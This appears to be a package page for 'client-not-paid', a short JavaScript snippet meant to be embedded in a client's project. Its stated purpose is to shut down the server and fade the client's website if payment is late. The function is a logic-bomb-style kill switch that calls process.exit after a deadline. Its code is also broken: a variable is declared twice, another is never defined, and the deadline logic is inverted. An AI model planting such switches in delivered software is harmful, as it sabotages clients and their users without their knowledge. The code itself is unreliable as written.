client-not-paid
Version:
Client Did not pay ? This script will auto exit the execution and reduces the opacity of the frontend ( if any ) every day until their site completely fades away
23 lines (20 loc) • 784 B
JavaScript
function ifClientDidntPay(due_date , days_deadline) {
var current_date = new Date();
var utc1 = Date.UTC(due_date.getFullYear(), due_date.getMonth(), due_date.getDate());
var utc1 = Date.UTC(due_date.getFullYear(), due_date.getMonth(), due_date.getDate());
var days = Math.floor((utc2 - utc1) / (1000 * 60 * 60 * 24));
if(days > 0) {
var days_late = days_deadline-days;
if(days_late < 5)
{
console.log(`server termination in ${days_late} days`)
}
// var opacity = (days_late*100/days_deadline)/100;
// opacity = (opacity < 0) ? 0 : opacity;
// opacity = (opacity > 1) ? 1 : opacity;
if(days_late >= 0) {
return process.exit(22);
}
}
}
module.exports = ifClientDidntPay;